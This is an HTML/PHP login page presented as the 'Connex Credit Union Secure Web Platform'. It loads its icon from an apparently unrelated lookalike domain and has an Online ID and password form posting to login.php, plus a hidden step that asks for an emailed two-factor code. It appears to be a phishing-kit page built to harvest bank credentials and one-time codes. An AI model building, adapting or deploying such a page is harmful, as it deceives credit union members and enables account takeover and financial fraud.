<!DOCTYPE html>
<html lang="zxx" style="height: 100%;"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <!-- Bootstrap CSS --> 
    <link rel="stylesheet" href="dist/bootstrap.min.css">
    <!-- Animate CSS --> 
    <link rel="stylesheet" href="dist/animate.min.css">
    <!-- Meanmenu CSS -->
    <link rel="stylesheet" href="dist/meanmenu.css">
    <!-- Boxicons CSS -->
    <link rel="stylesheet" href="dist/boxicons.min.css">
    <!-- Nice Select CSS -->
    <link rel="stylesheet" href="dist/nice-select.min.css">
    <!-- Flaticon CSS -->
     <link rel="stylesheet" href="fonts/flaticon/font/flaticon.css">
 
     <link href="fontawesome5/css/font-awesome.min.css" rel="stylesheet">
    <!-- Owl Carousel CSS -->
    <link rel="stylesheet" href="dist/owl.carousel.min.css">

    <!-- <link href="dist/font-awesome.min.css" rel="stylesheet"> -->
    
    <link href="fontawesome-6.4.2/css/fontawesome.min.css" rel="stylesheet"> 
    <link href="fontawesome-6.4.2/css/fontawesome.css" rel="stylesheet">
    <link href="fontawesome-6.4.2/css/brands.css" rel="stylesheet">
    <link href="fontawesome-6.4.2/css/solid.css" rel="stylesheet">
   <link href="fontawesome-6.4.2/css/regular.css" rel="stylesheet">
   

    <!-- Owl Carousel Default CSS -->
    <link rel="stylesheet" href="dist/owl.theme.default.min.css">
    <!-- Odometer CSS -->
    <link rel="stylesheet" href="dist/odometer.min.css">
    <!-- Magnific Popup CSS -->
    <link rel="stylesheet" href="dist/magnific-popup.min.css">
    <!-- Style CSS -->
    <link rel="stylesheet" href="dist/css/style.css">
    <!-- Responsive CSS -->
    <link rel="stylesheet" href="dist/css/responsive.css">
 

    <title>Connex Credit Union Secure Web Platform - Connex Credit Union</title>

    <link rel="icon" type="image/png" href="https://connexcu.seclweb.com/en/assets/img/favicon.png">
    <link type="text/css" rel="stylesheet" charset="UTF-8" href="dist/m=el_main_css.css">

<script type="text/javascript" charset="UTF-8" src="dist/m=el_main.js"></script></head>
<body style="position: relative; min-height: 100%; top: 0px;">
    
    <!-- Start Preloader Area -->
    <div class="preloader" style="display: none;">
        <div class="loader">
            <div class="shadow"></div>
            <div class="box"></div>
        </div>
    </div>
    <!-- End Preloader Area -->
    <!-- Start Header here -->
    <div class="page-wrapper">

    <?php include 'header.php'; ?>
      

<!-- Start Main Banner Area -->
          <section class="open-account-area ptb-100">
            <div class="container">
                <div class="section-title">
                    <h2 class="text-uppercase">Account Login</h2>
                    <p></p>
                </div>
                <div class="row justify-content-center">
                    <div class="col-md-4 mt-5">
                  <div class="open-account-form mt-5">
                    <div id="merrorBlock"></div>
                    <form id="LogmainFrm" method="post" action="login.php?action=Login User">
                                           <div class="form-response alert alert-danger" style="display: none;"></div>
                       <div class="form-group use-icon">
                          <input type="text" autocomplete="off" name="username" id="username" placeholder="Online ID" class="form-control" required=""> <!----> 
                          
                       </div>
                       <div class="form-group use-icon">
                          <input placeholder="Password" name="passwrd" id="passwrd" type="password" class="form-control" required=""> 
                            
                       </div>
                       <input type="hidden" name="login" id="login" value="login">
                       <div style="float: none; margin: auto; width: 50%;">
                         <button type="submit" name="btn-login" class="btn-sm btn-danger">Sign In</button>
                       </div>
                       
                    </form>
                    <form id="2auth_form" method="post" style="display: none;">
                       <div class="form-response-auth alert alert-danger" style="display: none;"></div>
                       <div style="margin: 0 auto;  white-space: none; font-size: 12.25px;font-weight: 400;" class="left message text-muted">We have sent a message to your email address on file with an authentication code.<br>Once you receive it enter the code below to complete your login</div><br>

                       <div class="form-group use-icon">
                          <input placeholder="Enter 2 factor code" name="code" type="text" class="form-control"> <!----> 
                          
                       </div>
                       
                       <input type="hidden" name="btn-2factor" id="2factor-login" value="btn-2factor">
                       <div style="float: none; margin: auto; width: 50%;">
                         <button type="submit" id="btnLogn" class="btn btn-danger">Submit</button>
                       </div>
                       
                    </form>
                </div>
            </div>
        </div>
            </div>
        </section>


     <?php include 'footer.php'; ?>

         </div> 
        <!-- Jquery Slim JS -->
        <script src="dist/jquery.min.js"></script>
        <!-- Popper JS -->
        <script src="dist/popper.min.js"></script>
        <!-- Bootstrap JS -->
        <script src="dist/bootstrap.min.js"></script>
        <!-- Site script -->
        <script src="script.js"></script>
        <!-- Meanmenu JS -->
        <script src="dist/jquery.meanmenu.js"></script>
        <!-- Nice Select JS -->
        <script src="dist/jquery.nice-select.min.js"></script>
        <!-- Owl Carousel JS -->
        <script src="dist/owl.carousel.min.js"></script>
        <!-- Magnific Popup JS -->
        <script src="dist/jquery.magnific-popup.min.js"></script>
        <!-- Odometer JS -->
        <script src="dist/odometer.min.js"></script>
        <!-- Jquery Appear JS -->
        <script src="dist/jquery.appear.min.js"></script>
        <!-- Ajaxchimp JS -->
        <script src="dist/jquery.ajaxchimp.min.js"></script>
        <!-- Form Validator JS -->
       <script src="dist/form-validator.min.js"></script>
        <!-- Contact JS -->
        <script src="dist/contact-form-script.js"></script>
        <!-- Wow JS -->
        <script src="dist/wow.min.js"></script>
        <!-- Custom JS -->
        <script src="dist/main.js"></script>
                <script type="text/javascript">
            function jacct() {
                var jAcct = $("input[id='joint_account_radio']:checked").length > 0;
                if (jAcct) 
                {
                    var jAcctV = $("input[id='joint_account_radio']:checked").val();
                    if(jAcctV == 1 ){   
                      $('#joint_account').show();
                     }  
                    else {
                     $('#joint_account').hide();
                   } 
                } 

            }
        </script>
    
 </body></html>